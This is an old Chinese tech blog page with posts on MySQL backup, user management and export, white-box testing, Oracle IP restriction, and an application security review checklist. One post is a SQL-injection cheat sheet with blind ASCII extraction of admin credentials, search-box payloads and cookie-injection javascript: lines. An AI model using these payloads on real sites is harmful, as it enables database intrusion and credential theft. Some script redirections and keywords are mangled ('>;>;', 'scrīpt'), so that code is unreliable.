搜索标题
最新留言
最新评论
友情链接
统计信息
- 访问量: 34721
- 日志数: 336
- 文件数: 23
- 书签数: 10
- 建立时间: 2007-06-14
- 更新时间: 2008-10-04
日历
| |||||||||
| 日 | 一 | 二 | 三 | 四 | 五 | 六 | |||
| 1 | 2 | 3 | 4 | ||||||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 | |||
| 12 | 13 | 14 | 15 | 16 | 17 | 18 | |||
| 19 | 20 | 21 | 22 | 23 | 24 | 25 | |||
| 26 | 27 | 28 | 29 | 30 | 31 | ||||
存档
音乐欣赏
我的最新日志
-
Mysql自动备份脚本
2008-10-04
找到一个Mysql自动备份脚本大家需要的话可以自己根据需求参考修改一下
该脚本功能介绍:可以将这个脚本放进crontab,每天凌晨执行一次,自动备份,支持多种备份方式,自动翻转。
该脚本每天最多只执行一次,而且只保留最近五天的备份在服务器上。
#!/bin/bash
#This is a Shellscrīpt For Auto DB Backup
#Setting
#设置数据库名,数据库登录名,密码,备份路径,日志路径,数据文件位置,以及备份方式
#默认情况下备份方式是tar,还可以是mysqldump,mysqldotcopy
#默认情况下,用root(空)登录mysql数据库,备份至/root/dbxxxxx.tgz
DBName=mysql
DBUser=root
DBPasswd=
BackupPath=/root/
LogFile=/root/db.log
DBPath=/var/lib/mysql/
#BackupMethod=mysqldump
#BackupMethod=mysqlhotcopy
#BackupMethod=tar
#Setting End
NewFile="$BackupPath"db$(date +%y%m%d).tgz
DumpFile="$BackupPath"db$(date +%y%m%d)
OldFile="$BackupPath"db$(date +%y%m%d --date='5 days ago').tgz
echo "-------------------------------------------" >;>; $LogFile
echo $(date +"%y-%m-%d %H:%M:%S") >;>; $LogFile
echo "--------------------------" >;>; $LogFile
#Delete Old File
if [ -f $OldFile ]
then
rm -f $OldFile >;>; $LogFile 2>;&1
echo "[$OldFile]Delete Old File Success!" >;>; $LogFile
else
echo "[$OldFile]No Old Backup File!" >;>; $LogFile
fi
if [ -f $NewFile ]
then
echo "[$NewFile]The Backup File is exists,Can't Backup!" >;>; $LogFile
else
case $BackupMethod in
mysqldump)
if [ -z $DBPasswd ]
then
mysqldump -u $DBUser --opt $DBName >; $DumpFile
else
mysqldump -u $DBUser -p$DBPasswd --opt $DBName >; $DumpFile
fi
tar czvf $NewFile $DumpFile >;>; $LogFile 2>;&1
echo "[$NewFile]Backup Success!" >;>; $LogFile
rm -rf $DumpFile
;;
mysqlhotcopy)
rm -rf $DumpFile
mkdir $DumpFile
if [ -z $DBPasswd ]
then
mysqlhotcopy -u $DBUser $DBName $DumpFile >;>; $LogFile 2>;&1
else
mysqlhotcopy -u $DBUser -p $DBPasswd $DBName $DumpFile >;>;$LogFile 2>;&1
fi
tar czvf $NewFile $DumpFile >;>; $LogFile 2>;&1
echo "[$NewFile]Backup Success!" >;>; $LogFile
rm -rf $DumpFile
;;
*)
/etc/init.d/mysqld stop >;/dev/null 2>;&1
tar czvf $NewFile $DBPath$DBName >;>; $LogFile 2>;&1
/etc/init.d/mysqld start >;/dev/null 2>;&1
echo "[$NewFile]Backup Success!" >;>; $LogFile
;;
esac
fi
echo "-------------------------------------------" >;>; $LogFile -
手工注入猜解语句
2008-9-30
自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!
猜解表名:
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
联合查询:
select name,password,id from user union select user,pwd,uid from
爆指定表名内容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解码法:
1、猜解列长度
猜解语句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是数字,变换这个N的值猜解列长度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII码分析法猜解用户和密码
ASC()函数和Mid函数
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:
and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)
区间判断语句:
“......between......and......”
中文处理法:
当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)
ASCII逐字解码法的应用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理员用户个数:
and (select count(*) from 表名)=1
返回正常,表中有一条记录。
4、猜解管理员用户名的长度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理员用户名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。
搜索型注入漏洞利用猜解语句:
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了。
cookie注入语句:
javascrīpt:alert(document.cookie="id="+escape("44 and 1=1"));
javascrīpt:alert(document.cookie="id="+escape("44 and 1=2"));
猜解语句:
猜解长度:
javascrīpt:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解内容:
javascrīpt:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97")) -
MySql数据库用户管理命令
2008-9-12
1、修改mysql中root的密码
mysql -u root -pmysql> update user set password=password("xueok654123") where user='root';
mysql> flush privileges //刷新数据库
mysql>use dbname; 打开数据库:
mysql>show databases; 显示所有数据库
mysql>show tables; 显示数据库mysql中所有的表:先use mysql;然后
mysql>describe user; 显示表mysql数据库中user表的列信息);
2、grant命令用法
创建一个可以从任何地方连接服务器的一个完全的超级用户,但是必须使用一个口令something做这个
mysql> grant all privileges on *.* touser@localhostidentified by ’something’ with增加新用户
格式:grant select on 数据库.* to 用户名@登录主机 identified by “密码”
GRANT ALL PRIVILEGES ON *.* TOmonty@localhostIDENTIFIED BY ’something’ WITH GRANT OPTION;
GRANT ALL PRIVILEGES ON *.* TOmonty@”%” IDENTIFIED BY ’something’ WITH GRANT OPTION;
grant all privileges on dbtest.* to aaa@localhost identified by 'aaa' with grant option;删除授权
mysql> revoke all privileges on *.* fromroot@”%”;
mysql> delete from user where user=”root” and host=”%”;
mysql> flush privileges;
创建一个用户custom在特定客户端it363.com登录,可访问特定数据库fangchandb
mysql >grant select, insert, update, delete, create,drop on fangchandb.* to custom@it363.com identified by 'passwd' -
内部技术交流白盒测试总结
2008-9-10
白盒测试是通过对程序内部结构的分析、检测来寻找问题。
白盒测试可以把程序看成装在一个透明的白盒子里,也就是清楚了解程序结构和处理过程,检查是
否所有的结构及路径都是正确的,检查软件内部动作是否按照设计说明的规定正常进行。白盒测试又称
结构测试。
1 白盒测试基本技术: 词法分析与语法分析,静态错误分析,程序插桩技术。
2 白盒测试方法
2.1代码检查法:代码检查方式(桌面检查,代码审查,走查),代码检查项目,编码规范,代码检
查规则,缺陷检查表。
2.2静态结构分析法。
2.3静态质量试题法。
2.4逻辑覆盖法
语句覆盖:选择足够多的测试数据,使测试程序中每条语句至少执行一次。
判定覆盖(分支覆盖):设计足够多的测试用例,使用得程序中的每个判定至少都获得一次“
真值”或“假值”;或者说使用得程序中的每一个取“真”分支和取“假”分支至少经历一次。
条件覆盖:构造一组测试用例,使得每一判定语句中每个逻辑条件的可能值至少满足一次。
条件判定组合覆盖:设计足够的测试用例,使用得判定中每个条件的所有可能(真/假)至少出
现一次,并且每个判定本身的判定结果(真/假)也至少出现一次。
多条件覆盖:设计足够的测试用
例,使得每个判定中条件的各种可能组合都至少出现一次。
修正条件判定覆盖
2.5基本路径测试法
程序的控制流图(学会通过看程序块画出控制流图)。
程序环路复杂性(即McCabe复杂性度量)环路复杂性V(G)=判断结点数+1.
基本路径测试法步骤:
以详细设计或源代码作为基础,导出程序的控制流图;
计算得到的控制流图G的环路复杂性V(G);
确定线性无关的路径的基本集;
生成测试用例,确保基本路径集中每条路径的执行.
2.6 其他白盒测试方法:域测试,符号测试,Z路径覆盖,程序变异 -
MySql数据库用alter table语句修改表的结构
2008-9-09
有时你可能需要改变一下现有表的结构,那么Alter Table语句将是你的合适选择。
增加列
alter table tbl_name add col_name type
例如,给表增加一列weight
mysql>alter table pet add weight int;
删除列
alter table tbl_name drop col_name
例如,删除列weight:
mysql>alter table pet drop weight;
改变列
alter table tbl_name modify col_name type
例如,改变weight的类型:
mysql> alter table pet modify weight samllint;
另一种方法是:
alter table tbl_name change old_col_name col_name type
例如:
mysql> alter table pet change weight weight samllint;
给列更名
mysql>alter table pet change weight wei;
给表更名
alter table tbl_name rename new_tbl
例如,把pet表更名为animal
mysql>alter table pet rename animal; -
mysqldump的几种用法
2008-9-08
1.导出整个数据库
mysqldump -u 用户名 -p 数据库名 > 导出的文件名
mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql
2.导出一个表
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql
3.导出一个数据库结构
mysqldump -u wcnc -p -d --add-drop-table smgp_apps_wcnc >d:\wcnc_db.sql
-d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table
4.带语言参数导出
mysqldump -uroot -p --default-character-set=latin1 --set-charset=gbk --skip-opt databse > d4.sql
5.导入数据库
常用source 命令
进入mysql数据库控制台,
如mysql -u root -p
mysql>use 数据库
然后使用source命令,后面参数为脚本文件(如这里用到的.sql)
mysql>source d:\wcnc_db.sql
常用source 命令
进入mysql数据库控制台,
如mysql -u root -p
mysql>use 数据库
然后使用source命令,后面参数为脚本文件(如这里用到的.sql)
mysql>source d:\wcnc_db.sql
进入MYSQL数据库
use bbs; Use bbs //要导的数据库
Source /var/mysqldata/mysql2007.sql 执行导入
或是: mysql -uusername -ppasswd --one-database bbs -
通过sqlnet.ora文件限制ip访问
2008-9-06
在Oracle数据库中,我们可以通过SQLNET.ora文件实现地址访问限制。
在SQLNET.ora文件中设置以下参数可以实现IP访问限制:tcp.validnode_checking=yes
tcp.invited_nodes=(ip1,ip2......)
tcp.excluded_nodes=(ip1,ip2......)在未设置这些参数前,测试数据库可以正常访问:
D:\>tnsping eygle
TNS Ping Utility for 32-bit Windows: Version 10.2.0.3.0 - Production on 28-1月 -2008 14:52:52
Copyright (c) 1997, 2006, Oracle. All rights reserved.已使用的参数文件,:
C:\oracle\10.2.0\network\admin\sqlnet.ora已使用 TNSNAMES 适配器来解析别名
Attempting to contact (DEscrīptION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.33.11)(PORT = 1521))) (CONNECT_DATA = (SERVICE_NAME = eygle)))
OK (30 毫秒)当设置参数之后:
[oracle@jumper admin]$ cat sqlnet.ora
# SQLNET.ORA Network Configuration File: /opt/oracle/product/9.2.0/network/admin/sqlnet.ora
# Generated by Oracle configuration tools.NAMES.DIRECTORY_PATH= (TNSNAMES, ONAMES, HOSTNAME)
tcp.validnode_checking=yes
tcp.invited_nodes=(172.16.33.11,172.16.34.89)重新启动监听器使设置生效:
[oracle@jumper admin]$ lsnrctl start
LSNRCTL for Linux: Version 9.2.0.4.0 - Production on 28-JAN-2008 14:42:01
Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.
Starting /opt/oracle/product/9.2.0/bin/tnslsnr: please wait...TNSLSNR for Linux: Version 9.2.0.4.0 - Production
System parameter file is /opt/oracle/product/9.2.0/network/admin/listener.ora
Log messages written to /opt/oracle/product/9.2.0/network/log/listener.log
Trace information written to /opt/oracle/product/9.2.0/network/trace/listener.trc
Listening on: (DEscrīptION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))Connecting to (DEscrīptION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 9.2.0.4.0 - Production
Start Date 28-JAN-2008 14:42:01
Uptime 0 days 0 hr. 0 min. 0 sec
Trace Level support
Security ON
SNMP OFF
Listener Parameter File /opt/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File /opt/oracle/product/9.2.0/network/log/listener.log
Listener Trace File /opt/oracle/product/9.2.0/network/trace/listener.trc
Listening Endpoints Summary...
(DEscrīptION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))
Services Summary...
Service "eygle" has 1 instance(s).
Instance "eygle", status UNKNOWN, has 1 handler(s) for this service...
Service "julia" has 1 instance(s).
Instance "eygle", status UNKNOWN, has 1 handler(s) for this service...
The command completed successfully我们再来看客户端的访问:
D:\>tnsping eygle
TNS Ping Utility for 32-bit Windows: Version 10.2.0.3.0 - Production on 28-1月 -2008 14:53:19
Copyright (c) 1997, 2006, Oracle. All rights reserved.已使用的参数文件:
C:\oracle\10.2.0\network\admin\sqlnet.ora已使用 TNSNAMES 适配器来解析别名
Attempting to contact (DEscrīptION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.33.11)(PORT = 1521))) (CONNECT_DATA = (SERVICE_NAME = eygle)))
TNS-12547: TNS: 丢失连接
需要注意的是一定要将本地地址,或者Cluster群集其他节点的地址都加入到允许列表,否则监听器可能无法启动。
修改参数之后,重启监听器设置即可生效。通过监听器的限制,通常属于轻量级,比在数据库内部通过触发器进行限制效率要高。
-
应用系统安全评审中的目标和方法
2008-9-05
有效性验证
是否应用系统、补丁软件都必须通过验证后才能被安装
是否能对系统已安装组件进行有效性验证
数据输入、输出控制
是否对数据输入、输出进行了合法性检查(特别是各种外部数据,例如系统时间、用户输入等等)
系统应确保数据不输出到错误的地点,同时也不能有非法的信息流入(包括用户输入/输出和系统各个功能/模块间输入/输出)
数据输入、输出抗抵赖
是否能够证明接收方接收到的数据的确来自声称的发送方
是否能够证明发送方发送的数据的确被接收方接受
数据输入、输出完整性检查
是否能够检查输入、输出数据的完整性
数据输入、输出可用性检查
是否能够检查输入、输出数据的可用性
数据输入、输出保密性保证
是否在数据输入、输出使用了加密
数据输入、输出所使用的加密手段是否够强壮
是否存在绕过系统输入、输出加密的方法(例如 SSL 代理可以绕过某些 SSL 通讯加密)
周期性的完整性检查
系统是否能周期性的校验系统本身完整性和系统数据完整性
操作的正确性验证
用户操作时是否有当前操作确认
数据的恢复
系统能否提供数据库回滚功能
系统是否提供系统程序升级失败自动恢复功能
系统是否提供系统程序替换自动恢复功能
系统是否提供系统完全备份功能
系统是否提供系统完全恢复功能
确保可用资源
系统是否能在空闲硬盘空间低于某阀值时发出报警
系统是否能在空闲 CPU 处理时间低于某阀值时发出报警
系统是否能在空闲内存空间低于某阀值时发出报警
系统是否能在空闲网络带宽时间低于某阀值时发出报警
审计生成
系统是否提供审计功能
系统是否能保证审计相关数据完整性、可用性和保密性
用户记录
系统审计记录中是否包含有不会导致歧义的用户标识
会话限制次数
系统能否限制用户会话数目
会话终止
系统能否限制用户会话静止时间超过某一阀值时终止会话
系统能否限制系统模块间会话静止时间超过某一阀值时终止会话
系统优先级控制
系统是否为不同用户划分不同优秀级
系统是否为不同用户操作化分不同优先级
系统是否对系统不同模块化分不同优先级
系统资源分配控制
系统是否为不同用户分配不等量资源
系统是否为不同用户操作分配等量资源
系统是否为系统不同模块分配等量资源
用户标识和鉴别
系统是否能够唯一的标识一个用户
系统是否强制要求用户用户验证
系统是否存在用户验证绕过方法
系统是否在访问系统资源前强制要求鉴别用户身份
系统是否存在未验证用户可访问的系统资源
系统是否存在用户鉴别绕过方法
用户行为的标识和鉴别
系统是否能标识用户行为(含义为标识出什么用户执行了什么样的操作)
系统是否能鉴别用户行为合法性
密码存取控制
系统是否对密码数据的访问进行限制
系统是否存在绕过密码数据访问限制的方法
系统是否存在破坏密码数据访问限制的方法
密码管理
系统密码算法强度是否能够保证数据在期生命周期内通过可靠保护
系统是否能发现系统中若密码用户
系统是否都使用恰当的方式加密存储所有密码和私钥
恢复接收信息
系统应当能在接收方检测到所接收信息完整性、可用性被破坏或没有证据显示接收方的确接收到发送方发送的消息时可以恢复接收信息(例如重新发送)
安全角色
系统能根据安全策略划分不同的安全角色
用户会话历史
系统是否能够在用户登录后显示用户最近成功或不成功建立会话的次数
系统能否显示最近发起会话地址(不管成功还是失败)
通过对上述的各个安全功能要求进行测试和评价,绿盟科技最终能够帮助用户寻找出应用系统安全设计或者实现上的缺陷,从应用层提高重要业务系统的安全性。
当然,我们也可以根据用户的需要有重点的对被评估应用系统的某一个层次进行评估。应用系统评估能够有效的帮助用户评价核心业务系统的安全性,和应用系统开发厂商在安全应用系统方面的能力,也能够协助用户和开发商提高被评估应用系统的安全性。 -
mysql 用户管理命令
2008-9-04
首先要声明一下:一般情况下,修改MySQL密码,授权,是需要有mysql里的root权限的。
注:本操作是在WIN命令提示符下,phpMyAdmin同样适用。
用户:phplamp 用户数据库:phplampDB
1.新建用户。
//登录MYSQL
@>mysql -u root -p
@>密码
//创建用户
mysql> insert into mysql.user(Host,User,Password) values("localhost","phplamp",password("1234"));
//刷新系统权限表
mysql>flush privileges;
这样就创建了一个名为:phplamp 密码为:1234 的用户。
然后登录一下。
mysql>exit;
@>mysql -u phplamp -p
@>输入密码
mysql>登录成功
2.为用户授权。
//登录MYSQL(有ROOT权限)。我里我以ROOT身份登录.
@>mysql -u root -p
@>密码
//首先为用户创建一个数据库(phplampDB)
mysql>create database phplampDB;
//授权phplamp用户拥有phplamp数据库的所有权限。
>grant all privileges on phplampDB.* to phplamp@localhost identified by '1234';
//刷新系统权限表
mysql>flush privileges;
mysql>其它操作
/*
如果想指定部分权限给一用户,可以这样来写:
mysql>grant select,update on phplampDB.* to phplamp@localhost identified by '1234';
//刷新系统权限表。
mysql>flush privileges;
*/
3.删除用户。
@>mysql -u root -p
@>密码
mysql>DELETE FROM user WHERE User="phplamp" and Host="localhost";
mysql>flush privileges;
//删除用户的数据库
mysql>drop database phplampDB;
4.修改指定用户密码。
@>mysql -u root -p
@>密码
mysql>update mysql.user set password=password('新密码') where User="phplamp" and Host="localhost";
mysql>flush privileges; -
MySQL导出导入命令的用例
2008-9-04
1.导出整个数据库mysqldump -u 用户名 -p 数据库名 > 导出的文件名
mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql
2.导出一个表
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql
3.导出一个数据库结构
mysqldump -u wcnc -p -d --add-drop-table smgp_apps_wcnc >d:wcnc_db.sql
-d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table
4.导入数据库
常用source 命令
进入mysql数据库控制台,
如mysql -u root -p
mysql>use 数据库
然后使用source命令,后面参数为脚本文件(如这里用到的.sql)
mysql>source d:wcnc_db.sql












